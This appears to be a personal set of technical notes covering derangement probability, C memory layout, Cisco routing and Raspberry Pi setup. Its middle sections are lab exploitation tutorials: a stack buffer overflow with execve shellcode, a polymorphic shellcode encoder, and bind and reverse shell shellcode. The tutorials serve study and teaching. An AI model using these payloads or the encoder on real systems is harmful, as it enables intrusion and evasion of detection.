# Hat-Check problem


Introduction

A couple of days ago we did the santa secret ('amigo invisible').
We wrote each name in a small paper and put them in a box.
Each participant had to take one small paper from the box.
We repeated the draw five times before to obtain a name different than our own.

What is the probability that each one obtain a different name?

The response has a limit in 1/e (Euler's number) and exists a similar probability game (the hat-check problem).

I found the hat-check problem after write a C program and observe that the result is similar beyond five friends/hats.


C program

# cat hat_game.c
#include <stdio.h>
#include <stdlib.h>

unsigned int *hats;
unsigned int favorable;
unsigned int possible;
unsigned int max;

void init(){
        unsigned int i;
        favorable=0;
        possible=1;
        hats=(unsigned int *)malloc(max*sizeof(unsigned int));
        for(i=0;i<max;i++){
                possible*=i+1;
        }
}

void end(){
        float probability;
        free(hats);
        printf("\n");
        printf("favorable   = %u\n",favorable);
        printf("possible    = %u\n",possible);
        probability=(float)favorable/possible;
        printf("probability = favorable/possible = %.10f\n\n",probability);
}

int exists(unsigned int num,unsigned top){
        unsigned int i;
        for(i=0;i<top;i++){
                if(hats[i]==num){return 1;}
        }
        return 0;
}

void print_result(){
        unsigned int i;
        printf("======> ");
        for(i=0;i<max;i++){
                printf("%u ",hats[i]);
        }
        printf("\n");
}

int hat_game(int min){
        unsigned int i,j;
        for(i=min;i<min+1;i++){
                for(j=0;j<max;j++){
                        if((i!=j)&&(exists(j,i)==0)){
                                hats[i]=j;
                                if(i==max-1){
                                        //print_result(max);
                                        favorable++;
                                        return 0;
                                }else{
                                        hat_game(i+1);
                                }
                        }
                }
        }
}

int main(int argc, char *argv[]){
        max=atoi(argv[1]);
        init();
        hat_game(0);
        end();
        return 0;
}
# gcc -O3 -march=native -o hat_game hat_game.c
# ./hat_game 10

favorable   = 1334961
possible    = 3628800
probability = favorable/possible = 0.3678794503

References

http://www.proofwiki.org/wiki/Hat-Check_Problem
http://en.wikipedia.org/wiki/Derangement

# Memory layout of C programs and stack frames


C program layout

Low memory addresses
~~~~~~~~~~~~~~~~~~~~~
[Code segment]
[Data segment]
[BSS  segment]
[Heap        ]
[Stack       ]
~~~~~~~~~~~~~~~~~~~~~
High memory addresses

Code/Text segment

- Contains executable instructions.
- Read-only memory.
- Shared (only a single copy needs to be in memory).


Data segment

- Contains initialized global or static variables.
- Read-write memory.


BSS segment

- Contains uninitialized global or static variables.
- Read-write memory.


Heap

- Read-write memory.
- Grows to higher memory addresses.
- Managed by malloc, realloc and free functions.


Stack

- LIFO structure.
- Read-write memory.
- Grows to lower memory addresses.
- Contains stack frames (one for each pushed function):

Low memory addresses
~~~~~~~~~~~~~~~~~~~~~
[Local variables   ]
[Old Base Pointer  ]
[Return address    ]
[Function arguments]
~~~~~~~~~~~~~~~~~~~~~
High memory addresses

Data and BSS example

# cat c-layout.c
#include <stdio.h>

int main(){
        return 0;
}
# gcc -o c-layout c-layout.c
# size c-layout
   text    data     bss     dec     hex filename
   1056     252       8    1316     524 c-layout
# cat c-layout.c
#include <stdio.h>

int global;

int main(){
        return 0;
}
# gcc -o c-layout c-layout.c
# size c-layout
   text    data     bss     dec     hex filename
   1056     252      12    1320     528 c-layout
# cat c-layout.c
#include <stdio.h>

int global;

int main(){
        static int i;
        return 0;
}
# gcc -o c-layout c-layout.c
# size c-layout
   text    data     bss     dec     hex filename
   1056     252      16    1324     52c c-layout
# cat c-layout.c
#include <stdio.h>

int global;

int main(){
        static int i=10;
        return 0;
}
# gcc -o c-layout c-layout.c
# size c-layout
   text    data     bss     dec     hex filename
   1056     256      12    1324     52c c-layout

# Redistribution, summarization, default routing and troubleshooting


Configuring Route Maps with the route-map Command

The general rules for route maps are:

- Each route-map command must have an explicitly configured name. All commands that use the same name are part of the same route map.
- Each route-map command has an action (permit or deny).
- Each route-map command in the same route map has a unique sequence number, allowing deletion and insertion of single route-map commands.
- The route-map processes routes taken from the current routing table (redistribution).
- The route-map is processed sequentially based on the sequence numbers.
- Once a particular route is matched by the route map, it is not processed beyond that matching route-map command (redistribution).
- Once matched, if the route-map has a permit parameter, the route is redistributed (redistribution).
- Once matched, if the route-map has a deny parameter, the route is not redistributed (redistribution).

Key points about route map logic when used for redistribution:

- route-map commands with the permit option either cause a route to be redistributed or leave the route to be examined by the next route-map clause.
- route-map commands with the deny option either filter the route or leave the route to be examined by the next route-map clause.
- A permit match in the ACL either causes a redistribution (route-map permit) or filtered (route-map deny).
- The route-map command includes an implied deny all clause at the end. To configure a permit all, use a route-map permit, but without a match command.


Route Map match Commands for Route Redistribution

- match interface _interface-type_ _interface-number_: Looks at outgoing interface of routes.
- match ip address _access-list_ | _prefix-list_: Examines route prefix and prefix length.
- match ip next-hop _access-list_: Examines route's next-hop address.
- match ip route-source _access-list_: Matches advertising router's IP address.
- match metric _metric-value_ _deviation_: Matches route's metric exactly or a range of metrics.
- match route-type _internal_ | _external_ _type-1_ | _type-2_ | _level-1_ | _level-2_: Matches route type.
- match tag _tag-value_: Tag must have been set earlier.


Route Map set Commands for Route Redistribution

- set level _level1_ | _level-2_ | _level-1-2_ | _stub-area_ | _backbone_: Defines database into which the route is redistributed.
- set metric _metric-value_: Sets the route's metric for OSPF, RIP and IS-IS.
- set metric _bandwidth_ _delay_ _reliability_ _loading_ _mtu_: Sets the IGRP/EIGRP metric values.
- set metric-type _internal_ | _external_ | _type-1_ | _type-2_: Sets type of route for IS-IS and OSPF.
- set tag _tag-value_: Sets the unitless tag value in the route.


IP Prefix Lists

Provide mechanisms to match two components of an IP route:

- The route prefix (the subnet number)
- The prefix length (the subnet mask)

Prefix list logic can be summarized into a two-step comparison process for each route:

- The route's prefix must be within the range of addresses implied by the prefix-list command's network/length parameters.
- The route's prefix length must match the range of prefixes implied by the prefix-list command.

LE and GE parameters and the implied range:

- Neither: conf-length = route-length
- Only le: conf-length <= route-length <= le-value
- Only ge: ge-value <= route-length <= 32
- Both ge and le: ge-value <= route-length <= le-value


Administrative Distance

- Connected: 0
- Static: 1
- EIGRP summary route: 5
- EBGP: 20
- EIGRP (internal): 90
- IGRP: 100
- OSPF: 110
- IS-IS: 115
- RIP: 120
- EIGRP (external): 170
- iBGP: 200
- Unreachable: 255

The defaults can be changed by using the distance command:

- distance _distance_ (RIP)
- distance eigrp _internal-distance_ _external-distance_
- distance ospf _intra-area-distance_ _inter-area-distance_ _external-distance_


Mechanics of the redistribute Command

The redistribute command identifies the routing source from which routes are taken and the router command identifies the routing process into which the routes are advertised.


Redistribution Using Default Settings

router eigrp 1
 redistribute ospf 1 metric 1544 5 255 1 1500
 redistribute rip metric 1544 5 255 1 1500
 no auto-summary
router ospf 1
 redistribute eigrp 1 subnets
 redistribute rip subnets
router rip
 version 2
 redistribute eigrp 1 metric 2
 redistribute ospf 1 metric 3
 no auto-summary

Logic to choose which routes to redistribute from a particular IGP protocol:

1. Take all routes in the routing table that were learned by that routing protocol.
2. Take all connected subnets matched by that routing protocol's network commands.


Setting Metrics, Metric Types, and Tags

Three mechanisms for setting the metrics of redistributed routes:

1. Call a route map from the redistribute command (set metric) -> different metrics for different routes.
2. Use the metric option on the redistribute command -> same metric for all routes of routing protocol.
3. Use the default-metric command under the router command -> same metric for all redistributed routes.


Redistributing a Subset of Routes Using a Route Map

router eigrp 1
 redistribute ospf 1 route-map ospf-into-eigrp
 default-metric 1544 5 1 1 1
 no auto-summary
router ospf 1
 redistribute eigrp 1 subnets route-map eigrp-into-ospf
ip access-list standard A-14-3-x-x
 permit 14.3.0.0 0.0.255.255
ip access-list standard A-15-1-1-5
 permit 15.1.1.5
ip access-list standard A-6-6-6-6
 permit 6.6.6.6
ip prefix-list e-into-o seq 5 permit 14.2.0.0/16 ge 23 le 24
route-map ospf-into-eigrp permit 10
 match ip next-hop A-15-1-1-5
 set tag 5
route-map ospf-into-eigrp permit 15
 match ip route-source A-6-6-6-6
 match route-type external type-1
 set tag 6
route-map eigrp-into-ospf permit 10
 match ip address prefix-list e-into-o
 set metric 300
route-map eigrp-into-ospf permit 18
 match ip address A-14-3-x-x
 set tag 99


Route Summarization

Features:

- The advertised summary is assigned the same metric as the currently lowest-metric component subnet.
- The router does not advertise the component subnets.
- The router does not advertise the summary when its routing tables does not have any of the component subnets.
- The summarizing router creates a local route to the summary, with destination null0, to prevent routing loops.
- Summary routes reduces the size of routing tables and topology databases, improving convergence.
- Summary routes decrease the amount of specific information in routing tables, causing suboptimal routing.


EIGRP Route Summarization

Under an interface:

ip summary-address eigrp _as-number_ _network-address_ _subnet-mask_ _admin-distance_

If any of the component routes are in that router's table, EIGRP advertises the summary route out that interface.
The EIGRP AD for summary routes defaults to 5.


OSPF Route Summarization

OPSF allows route summarization only as routes are injected into an area, either by an:

- ABR (IA routes): area _area-id_ range _ip-address-mask_ _advertise_|_not-advertise_ cost _cost_
- ASBR (external routes): summary-address _ip-address-mask_ _not-advertise_ tag _tag_

The area range command specifies an area in which the component subnets reside, with the summary being advertised into all other areas.


Default Routes

Four methods for learning default routes:

- Static route to 0.0.0.0 with the redistribute static command (RIP, EIGRP).
- The default-information originate (RIP, OSPF). The always keyword means a default is sourced regardless of whether a default route is in the routing table. A static route to 0.0.0.0/0 does not cause RIP to inject a default.
- The ip default-network command (RIP, EIGRP). The classfull network must be in the local routing table.
- Using summary routes (EIGRP).


Useful troubleshooting commands in diagnosing Layer 3

- show ip protocols
- show interface _interface_
- show ip interface _interface_
- show ip nat translations
- show ip access-list
- show ip interface brief
- show dampening
- show logging
- show policy-map
- show route-map
- show standby
- show vrrp
- show track
- show ip route _prefix_
- debug ip routing (useful to detect a routing loop)
- debug ipv6 routing

# Buffer overflow and arbitrary code execution (32-bit)


Disable protections

# echo '0' > /proc/sys/kernel/randomize_va_space
# echo '0' > /proc/sys/kernel/exec-shield
# echo '0' > /proc/sys/kernel/exec-shield-randomize


Vulnerable code

# cat vulnerable.c
#include <stdio.h>
#include <string.h>

void check_password(char *p){
        char password[64];
        strcpy(password,p);
        if(strcmp(password,"nop-sled")==0){printf("Correct password\n");}
        else{printf("Incorrect password\n");}
}

int main(int argc,char **argv){
        check_password(argv[1]);
        return 0;
}
# gcc -g -fno-stack-protector -z execstack -o vulnerable vulnerable.c

Arbitrary code execution

# gdb -q vulnerable
(gdb) list 1,14
1       #include <stdio.h>
2       #include <string.h>
3
4       void check_password(char *p){
5               char password[64];
6               strcpy(password,p);
7               if(strcmp(password,"nop-sled")==0){printf("Correct password\n");}
8               else{printf("Incorrect password\n");}
9       }
10
11      int main(int argc,char **argv){
12              check_password(argv[1]);
13              return 0;
14      }
(gdb) break 6
(gdb) disassemble main
Dump of assembler code for function main:
   0x08048477 <+0>:     push   %ebp
   0x08048478 <+1>:     mov    %esp,%ebp
   0x0804847a <+3>:     and    $0xfffffff0,%esp
   0x0804847d <+6>:     sub    $0x10,%esp
   0x08048480 <+9>:     mov    0xc(%ebp),%eax
   0x08048483 <+12>:    add    $0x4,%eax
   0x08048486 <+15>:    mov    (%eax),%eax
   0x08048488 <+17>:    mov    %eax,(%esp)
   0x0804848b <+20>:    call   0x8048414 <check_password>
   0x08048490 <+25>:    mov    $0x0,%eax
   0x08048495 <+30>:    leave
   0x08048496 <+31>:    ret
End of assembler dump.
(gdb) run wakamole
Starting program: /vulnerable wakamole

Breakpoint 1, check_password (p=0xbffff935 "wakamole") at vulnerable.c:6
6               strcpy(password,p);
(gdb) x /20x password
0xbffff6f0:     0x08048261      0x00000000      0x00ca0000      0x00000001
0xbffff700:     0xbffff91f      0x0000002f      0xbffff75c      0xb7fd1ff4
0xbffff710:     0x080484a0      0x08049ff4      0x00000002      0x080482fd
0xbffff720:     0xb7fd23e4      0x00000005      0x08049ff4      0x080484c1
0xbffff730:     0x00000000      0x00000000      0xbffff758      0x08048490
(gdb) run `perl -e 'print "\x90"x16 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\x90\x90" . "\xb0\xf6\xff\xbf"x9'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y

Starting program: /vulnerable `perl -e 'print "\x90"x16 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\x90\x90" . "\xb0\xf6\xff\xbf"x9'`

Breakpoint 1, check_password (
    p=0xbffff8ed "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\061\300\231\260\vRh//shh/bin\211\343R\211\342S\211\341̀\220\220\260\366\377\277\260\366\377\277\260\366\377\277\260\366\377\277\260\366\377\277\260\366\377\277\260\366\377\277\260\366\377\277\260\366\377\277")
    at vulnerable.c:6
6               strcpy(password,p);
(gdb) x /20x password
0xbffff6b0:     0x08048261      0x00000000      0x00ca0000      0x00000001
0xbffff6c0:     0xbffff8d7      0x0000002f      0xbffff71c      0xb7fd1ff4
0xbffff6d0:     0x080484a0      0x08049ff4      0x00000002      0x080482fd
0xbffff6e0:     0xb7fd23e4      0x00000005      0x08049ff4      0x080484c1
0xbffff6f0:     0x00000000      0x00000000      0xbffff718      0x08048490
(gdb) next
7               if(strcmp(password,"nop-sled")==0){printf("Correct password\n");}
(gdb) x /20x password
0xbffff6b0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff6c0:     0xb099c031      0x2f68520b      0x6868732f      0x6e69622f
0xbffff6d0:     0x8952e389      0xe18953e2      0x909080cd      0xbffff6b0
0xbffff6e0:     0xbffff6b0      0xbffff6b0      0xbffff6b0      0xbffff6b0
0xbffff6f0:     0xbffff6b0      0xbffff6b0      0xbffff6b0      0xbffff6b0
(gdb) continue
Incorrect password
process 2246 is executing new program: /bin/dash
# exit


References

http://www.overflowedminds.net/Papers/Newlog/Introduccion-Explotacion-Software-Linux.pdf

# Polymorphic shellcode generator


Execve shellcode

# od2sc execve
"\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

Decoder shellcode

# cat decoder.asm
BITS 32
jmp short jmptrick
decoder:
pop esi
xor ecx,ecx
mov cl,0
loop:
sub byte [esi+ecx-1],0
dec cl
jnz loop
jmp short obfuscated_code
jmptrick:
call decoder
obfuscated_code:
# nasm -f elf decoder.asm
# ld -o decoder decoder.o
# od2sc decoder
"\xeb\x10\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\xfe\xc9\x75\xf7\xeb\x05\xe8\xeb\xff\xff\xff"

Polymorphic shellcode generator

# cat pscg
#!/bin/bash

# Name:   pscg (polymorphic shellcode generator)
# Usage:  pscg <shellcode> [offset]

shellcode="$1"
offset="$2"

bytes=`echo $shellcode | tr -d \" | sed 's/\\\x/\n/g' | grep -v ^$`
max=`echo "$bytes" | sort -ru | head -n1`
length=0
decoder="\xeb\x10\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\xfe\xc9\x75\xf7\xeb\x05\xe8\xeb\xff\xff\xff"

if [ "$offset" == "" ]; then offset=`bconv FF-$max x x`; fi

echo ""
echo "input      = \"$shellcode\""
echo "offset     = 0x$offset"

for byte in `echo "$bytes"`; do
        length=`bconv $length+1 x x`
        obfuscated=$(echo -n "$obfuscated\x`bconv $byte+$offset x x`")
done

echo "obfuscated = \"$obfuscated\""
echo "length     = 0x$length"

decoder=`echo $decoder | sed -e "s/00/$length/" -e "s/00/$offset/"`

echo "decoder    = \"$decoder\""
echo ""

output="$decoder$obfuscated"

echo "output  = \"$output\""
echo ""
echo -ne $output | ndisasm -u -
# pscg "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

input      = "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"
offset     = 0x1c
obfuscated = "\x4d\xdc\xb5\xcc\x27\x6e\x84\x4b\x4b\x8f\x84\x84\x4b\x7e\x85\x8a\xa5\xff\x6e\xa5\xfe\x6f\xa5\xfd\xe9\x9c"
length     = 0x1a
decoder    = "\xeb\x10\x5e\x31\xc9\xb1\x1a\x80\x6c\x0e\xff\x1c\xfe\xc9\x75\xf7\xeb\x05\xe8\xeb\xff\xff\xff"

output  = "\xeb\x10\x5e\x31\xc9\xb1\x1a\x80\x6c\x0e\xff\x1c\xfe\xc9\x75\xf7\xeb\x05\xe8\xeb\xff\xff\xff\x4d\xdc\xb5\xcc\x27\x6e\x84\x4b\x4b\x8f\x84\x84\x4b\x7e\x85\x8a\xa5\xff\x6e\xa5\xfe\x6f\xa5\xfd\xe9\x9c"

00000000  EB10              jmp short 0x12
00000002  5E                pop esi
00000003  31C9              xor ecx,ecx
00000005  B11A              mov cl,0x1a
00000007  806C0EFF1C        sub byte [esi+ecx-0x1],0x1c
0000000C  FEC9              dec cl
0000000E  75F7              jnz 0x7
00000010  EB05              jmp short 0x17
00000012  E8EBFFFFFF        call dword 0x2
00000017  4D                dec ebp
00000018  DCB5CC276E84      fdiv qword [ebp-0x7b91d834]
0000001E  4B                dec ebx
0000001F  4B                dec ebx
00000020  8F84844B7E858A    pop dword [esp+eax*4-0x757a81b5]
00000027  A5                movsd
00000028  FF6EA5            jmp dword far [esi-0x5b]
0000002B  FE                db 0xfe
0000002C  6F                outsd
0000002D  A5                movsd
0000002E  FD                std
0000002F  E9                db 0xe9
00000030  9C                pushfd

Polymorphic shellcode execution

# cat shellcode.c
#include <stdio.h>

char shellcode[]="\xeb\x10\x5e\x31\xc9\xb1\x1a\x80\x6c\x0e\xff\x1c\xfe\xc9\x75\xf7\xeb\x05\xe8\xeb\xff\xff\xff\x4d\xdc\xb5\xcc\x27\x6e\x84\x4b\x4b\x8f\x84\x84\x4b\x7e\x85\x8a\xa5\xff\x6e\xa5\xfe\x6f\xa5\xfd\xe9\x9c";
int main(){
        int *ret;
        ret=(int*)&ret+2;
        (*ret)=(int)shellcode;
}
# gcc -z execstack -o shellcode shellcode.c
# ./shellcode
# exit

References

http://www.overflowedminds.net/Papers/Newlog/Introduccion-Explotacion-Software-Linux.pdf

# Local, remote and reverse shellcodes


Local shellcode

# cat execve.c
#include <unistd.h>

int main(){
        char *shell[2];
        shell[0]="/bin/sh";
        shell[1]=0;
        execve("/bin/sh",shell,NULL);
}
# gcc -o execve execve.c
# ./execve
# exit
# cat execve.asm
BITS 32
; execve("/bin/sh",shell,NULL)
xor eax,eax
cdq                     ; xor edx,edx
mov byte al,11          ; system call number
push edx                ; \0
push long 0x68732f2f    ; hs//
push long 0x6e69622f    ; nib/
mov ebx,esp             ; first parameter
push edx
mov edx,esp             ; third parameter
push ebx
mov ecx,esp             ; second parameter
int 0x80                ; system call
# nasm -f elf execve.asm
# ld -o execve execve.o
# ./execve
# exit
# od2sc execve
"\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

Remote shellcode

SERVER# cat remote_execve.c
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>

int main(){
        char *shell[2];
        int cfd,i,sockfd;
        struct sockaddr_in sin;

        sockfd=socket(AF_INET,SOCK_STREAM,0);
        sin.sin_family=AF_INET;
        sin.sin_addr.s_addr=0;
        sin.sin_port=htons(1234);
        bind(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr_in));
        listen(sockfd,128); // cat /proc/sys/net/core/somaxconn
        cfd=accept(sockfd,NULL,0);
        for(i=0;i<3;i++){
                dup2(cfd,i);
        }
        shell[0]="/bin/sh";
        shell[1]=0;
        execve("/bin/sh",shell,NULL);
}
SERVER# gcc -o remote_execve remote_execve.c
SERVER# ./remote_execve
CLIENT# nc 127.0.0.1 1234
hostname
SERVER
exit
CLIENT#
# cat remote_execve.asm
BITS 32
section .txt
global _start
_start:
; sockfd=socket(AF_INET,SOCK_STREAM,0)
; sockfd=socket(2,1,0)
push byte 0x66          ; socketcall number (102)
pop eax
cdq                     ; xor edx,edx
xor ebx,ebx
inc ebx                 ; ebx=0x00000001 (socket)
push edx                ; edx=0x00000000
push byte 0x01
push byte 0x02
mov ecx,esp
int 0x80                ; system call
xchg esi,eax
; bind(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr_in))
; bind(sockfd,[2,1234,0],16)
push byte 0x66          ; socketcall number (102)
pop eax
inc ebx                 ; ebx=0x00000002 (bind)
push edx                ; edx=0x00000000
push word 0xd204        ; 1234
push word bx            ; 0x0002
mov ecx,esp
push byte 0x10          ; 16
push ecx
push esi
mov ecx,esp
int 0x80                ; system call
; listen(sockfd,128)
mov byte al,0x66        ; socketcall number (102)
mov byte bl,0x80        ; 128
push ebx
mov byte bl,0x04        ; ebx=0x00000004 (listen)
push esi
mov ecx,esp
int 0x80                ; system call
; cfd=accept(sockfd,NULL,0)
mov byte al,0x66        ; socketcall number (102)
inc ebx                 ; ebx=0x00000005 (accept)
push edx
push edx
push esi
mov ecx,esp
int 0x80                ; system call
xchg eax,ebx
; dup2(cfd,i)
push byte 0x2
pop ecx
dup_loop:
mov byte al,0x3f        ; dup2 number (63)
int 0x80                ; system call
dec ecx
jns dup_loop
; execve("/bin/sh",shell,NULL)
xor eax,eax
mov byte al,11          ; system call number
push edx                ; \0
push long 0x68732f2f    ; hs//
push long 0x6e69622f    ; nib/
mov ebx,esp             ; first parameter
push edx
mov edx,esp             ; third parameter
push ebx
mov ecx,esp             ; second parameter
int 0x80                ; system call
SERVER# nasm -f elf remote_execve.asm
SERVER# ld -o remote_execve remote_execve.o
SERVER# ./remote_execve
CLIENT# nc 127.0.0.1 1234
hostname
SERVER
exit
CLIENT#
SERVER# od2sc remote_execve
"\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x04\xd2\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x80\x53\xb3\x04\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

Reverse shellcode

SERVER# cat reverse_execve.c
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>

int main(){
        char *shell[2];
        int i,sockfd;
        struct sockaddr_in sin;

        sockfd=socket(AF_INET,SOCK_STREAM,0);
        sin.sin_family=AF_INET;
        sin.sin_addr.s_addr=inet_addr("127.0.0.1");
        sin.sin_port=htons(1234);
        connect(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr_in));
        for(i=0;i<3;i++){
                dup2(sockfd,i);
        }
        shell[0]="/bin/sh";
        shell[1]=0;
        execve("/bin/sh",shell,NULL);
}
SERVER# gcc -o reverse_execve reverse_execve.c
CLIENT# nc -lv 127.0.0.1 1234
SERVER# ./reverse_execve

Connection from 127.0.0.1 port 1234 [tcp/*] accepted
hostname
SERVER
exit
CLIENT#

SERVER# cat reverse_execve.asm
BITS 32
section .txt
global _start
_start:
; sockfd=socket(AF_INET,SOCK_STREAM,0)
; sockfd=socket(2,1,0)
push byte 0x66          ; socketcall number (102)
pop eax
cdq                     ; xor edx,edx
xor ebx,ebx
inc ebx                 ; ebx=0x00000001 (socket)
push edx                ; edx=0x00000000
push byte 0x01
push byte 0x02
mov ecx,esp
int 0x80                ; system call
xchg esi,eax
; connect(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr_in))
; connect(sockfd,[2,1234,127.0.0.1],16)
push byte 0x66          ; socketcall number (102)
pop eax
inc ebx
push dword 0x01bbbb7f   ; 127.187.187.1
xor ecx,ecx
mov word [esp+1],cx     ; 127.0.0.1
push word 0xd204        ; 1234
push word bx            ; 0x0002
mov ecx,esp
push byte 0x10          ; 16
push ecx
push esi
mov ecx,esp
inc ebx                 ; ebx=0x00000003 (connect)
int 0x80                ; system call
xchg ebx,esi
; dup2(cfd,i)
push byte 0x2
pop ecx
dup_loop:
mov byte al,0x3f        ; dup2 number (63)
int 0x80                ; system call
dec ecx
jns dup_loop
; execve("/bin/sh",shell,NULL)
xor eax,eax
mov byte al,11          ; system call number
push edx                ; \0
push long 0x68732f2f    ; hs//
push long 0x6e69622f    ; nib/
mov ebx,esp             ; first parameter
push edx
mov edx,esp             ; third parameter
push ebx
mov ecx,esp             ; second parameter
int 0x80                ; system call
SERVER# nasm -f elf reverse_execve.asm
SERVER# ld -o reverse_execve reverse_execve.o
CLIENT# nc -lv 127.0.0.1 1234
SERVER# ./reverse_execve

Connection from 127.0.0.1 port 1234 [tcp/*] accepted
hostname
SERVER
exit
CLIENT#

SERVER# od2sc reverse_execve
"\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x68\x7f\xbb\xbb\x01\x31\xc9\x66\x89\x4c\x24\x01\x66\x68\x04\xd2\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x87\xde\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"


References

http://www.overflowedminds.net/Papers/Newlog/Introduccion-Explotacion-Software-Linux.pdf

# Objdump to shellcode char array

# cat od2sc
#!/bin/bash

# Name:   od2sc (objdump to shellcode)
# Usage:  od2sc <object_file>

objdump -D $1 \
| awk -F'\t' '{print $2}' \
| grep -v ^$ \
| tr -d '\n' \
| sed -e 's/ \+/\\x/g' -e 's/^/"\\x/' -e 's/\\x$/\"\n/'

# od2sc execve
"\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

# Arch Linux on Raspberry Pi


Hardware specification (Model B)

- SOC: Broadcom BCM2835 (CPU, GPU, DSP, SDRAM, and single USB port)
- CPU: 700 MHz ARM1176JZF-S core
- GPU: Broadcom VideoCore IV,OpenGL ES 2.0,OpenVG 1080p30 H.264 high-profile encode/decode
- SDRAM: 512 MiB
- USB 2.0: 2 (via integrated USB hub)
- Video outputs: Composite video | Composite RCA, HDMI (not at the same time)
- Audio outputs: TRS connector | 3.5 mm jack, HDMI
- Onboard Storage: SD / MMC / SDIO card slot
- Onboard network: 10/100 Ethernet (RJ45) via USB hub
- Low-level peripherals: 8 × GPIO, UART, I2C bus, SPI bus
- Power ratings: 700 mA (3.5 W)
- Power source: 5 volt via MicroUSB or GPIO header
- Size: 85.60 mm × 53.98 mm
- Weight: 45 g

Download and checking

# wget http://files.velocix.com/c1410/images/archlinuxarm/archlinux-hf-2012-09-18/archlinux-hf-2012-09-18.zip
# sha1sum archlinux-hf-2012-09-18.zip
Installation and partition resize

# unzip archlinux-hf-2012-09-18.zip
# dd bs=1M if=archlinux-hf-2012-09-18.img of=/dev/mmcblk0
# sfdisk -l /dev/mmcblk0
# sfdisk /dev/mmcblk0 << EOF
> 32,3008,c,*
> 3040,,L
> EOF
# e2fsck -f /dev/mmcblk0p2
# resize2fs /dev/mmcblk0p2
Booting and login

alarmpi login: root
Password: root
Password and new user

[root@alarmpi ~]# passwd
[root@alarmpi ~]# useradd -m -G users,wheel -s /bin/bash toni
[root@alarmpi ~]# passwd toni
Update and upgrade

[root@alarmpi ~]# pacman -Syu
[root@alarmpi ~]# pacman -S haveged
[root@alarmpi ~]# haveged -w 1024
[root@alarmpi ~]# pacman-key --init
[root@alarmpi ~]# pkill haveged
[root@alarmpi ~]# pacman -Rs haveged
Locale

[root@alarmpi ~]# cat /etc/vconsole.conf
KEYMAP=es
FONT=lat9w-16
FONT_MAP=8859-1_to_uni
[root@alarmpi ~]# grep -v \# /etc/locale.gen
es_ES.UTF-8 UTF-8
[root@alarmpi ~]# locale-gen
[root@alarmpi ~]# echo -e "\nexport LANG=es_ES.UTF-8" >> /etc/profile
Timezone

[root@alarmpi ~]# cp /usr/share/zoneinfo/Europe/Madrid /etc/localtime
Environment customization

[root@alarmpi ~]# tail -n5 /etc/bash.bashrc
PS1='\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
alias ls='ls --color=auto'
alias grep='grep --color=auto'
alias ll='ls -lhF'
alias la='ll -a'
Hostname

[root@alarmpi ~]# cat /etc/hostname 
raspberry
Network

[root@alarmpi ~]# cat /etc/hosts
127.0.0.1 raspberry.lab.net raspberry localhost
[root@alarmpi ~]# cat /etc/resolv.conf
nameserver 8.8.8.8
[root@alarmpi ~]# cat /etc/conf.d/dhcpcd
DHCPCD_ARGS="-q -C resolv.conf"
[root@alarmpi ~]# cat /etc/conf.d/network
interface=eth0
address=192.168.1.100
netmask=24
broadcast=192.168.1.255
gateway=192.168.1.1
[root@alarmpi ~]# pacman -S ppp
[root@alarmpi ~]# pacman -S usb_modeswitch
[root@alarmpi ~]# wget "http://www.sakis3g.org/versions/latest/armv4t/sakis3g.gz"
[root@alarmpi ~]# echo "6c88a9961ba8861f2f668c178c02403f  sakis3g.gz" | md5sum -c
[root@alarmpi ~]# gunzip -v sakis3g.gz
[root@alarmpi ~]# chmod +x sakis3g
[root@alarmpi ~]# mv sakis3g /usr/local/sbin/.
[root@alarmpi ~]# cat /etc/sakis3g.conf
